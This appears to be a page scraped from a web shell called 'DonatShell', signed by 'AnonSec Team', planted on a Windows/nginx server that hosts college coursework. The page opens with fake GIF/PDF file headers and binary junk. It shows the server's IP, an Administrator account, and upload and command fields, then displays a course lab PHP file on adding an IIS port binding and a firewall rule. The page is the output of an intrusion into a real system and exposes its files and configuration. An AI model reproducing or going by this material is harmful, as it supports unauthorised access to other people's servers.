GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/JimMartinson/CST2276/Labs/Lab03.1/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/JimMartinson/CST2276/Labs/Lab03.1//Lab03.1.phpinc
<?
// JimMartinson/CST2276/Labs/Lab03.1/Lab03.1.phpinc

require('Gradebook/EvaluationSubmission_BEGIN.phpinc');
#if ( $_SESSION['userId'] != 1 ) { require('Gradebook/EvaluationSubmission_NOTAVAILABLE.phpinc'); exit; }

#$showGenerateComputerNamesVariables = true;
require('JimMartinson/CST2276/Labs/GenerateComputerNames.phpinc');

$disabled = '';
#$disabled = ' disabled';

$uploadFilename = $courseNumber.'_'.$evaluationName.'_'.$userFileName.'.png';

?>
<style type="text/css">b {white-space:nowrap;}</style>
<p>
<fieldset><legend><?=$evaluationType?> <?=$evaluationNumber?> Assignment</legend>
<? if ( $disabled ) { ?>
<span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><br>
<? } ?>
The purpose of this lab is to add a non-standart port to your <b>Default Web Site</b>.
<br><?=$gradeNote?>
<ol>
	<li>Create a directory called <b class="copyText"><?=$evaluationName?></b>. We will use it for the screenshot created in this lab.</li>
	<li>Add a non-standart port to your <b>Default Web Site</b>:
		<ol>
			<li>Open <b>ServerManager / Internet Information Services (IIS) Manager</b>.</li>
			<li>Expand <b><?=$serverNameU?>(<?=$NBname?>\Administrator)</b>.</li>
			<li>Expand <b>Sites</b>.</li>
			<li>Select <b>Default Web Site</b>.</li>
			<li>Select <b>Bindings...</b> from the Actions pane on the right.</li>
			<li><b>Add</b> a binding:
				<ol>
					<li>Set the <b>IP address</b> to the <b>IPv4 Address</b> of your <b>Ethernet 2</b> adapter. <span class="note">Mine was 192.168.56.102</span>.</li>
					<li>Set the Port to <b>8080</b>.</li>
					<li>Click <b>OK</b>.</li>
				</ol>
				You can test if the site works by opening a browser on your server and going to <b class="copyText">http://<?=$domainName?>:8080</b>.
			</li>
			<li>Open port 8080 in the Firewall:
				<ol>
					<li>Open <b>Control Panel / System and Security / Windows Defenter Firewall</b>.</li>
					<li>Select <b>Advanced settings</b> from the left pane.</li>
					<li>Select <b>Inbound Rules</b> from the left pane.></li>
					<li>Select <b>New Rule...</b> from the right pane.</li>
					<li>Select <b>Port</b> and click <b>Next</b>.</li>
					<li>Select <b>Specific local ports</b>, enter <b class="copyText">8080</b> for the port number and click <b>Next</b>.</li>
					<li>Select <b>Allow the connection</b> and click <b>Next</b>.</li>
					<li>Check all three network types and click <b>Next</b>.</li>
					<li>Select <b>Port</b> and click <b>Next</b>.</li>
					<li>Enter a <b>Name</b> for the rule and click <b>Finish</b>.</li>
				</ol>
			</li>
		</ol>
	</li>
	<li>Show that IIS works:
		<span class="note">This step must be done from your Windows 10 VM.</span>
		<ol>
			<li>Open a browser on your Windows 10 VM and enter <b class="copyText"><?=$domainName?>:8080</b></li>
			<li>Take a screenshot of the <b>entire VM window</b> and save it as <b class="copyText"><?=$uploadFilename?></b> in your <b><?=$evaluationName?></b> folder.
		<? showBegin('See browser example screenshot'); ?><br>
		<img src="images/example.png" width="1000" alt="browser example"/>
		<? showEnd (); ?>
			</li>
		</ol>
	</li>
	<li>Turn in your assignment:
		<ol type="a">
			<li>Browse and select your <b><?=$uploadFilename?></b> file: <input type="file" name="fileUpload" id="inpFileUpload"<?=$disabled?>><div id="divFileploadError"></div></li>
			<li>Then <input type="submit" name="f_subtask" id="inpSubmit" value="Submit"<?=$disabled?>> for grading.<? if ( $disabled ) { ?> <span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?></li>
		</ol>
	</li>
</ol>
<?=$gradeNote?>
</fieldset>
<?
require('Gradebook/EvaluationSubmission_END.phpinc'); // Replaced.
if ($TRACK != '') $_SESSION['TRACK'] .= "<li>End ".basename(__FILE__)."</ol>\n";
?>

Anon7 - 2022
AnonSec Team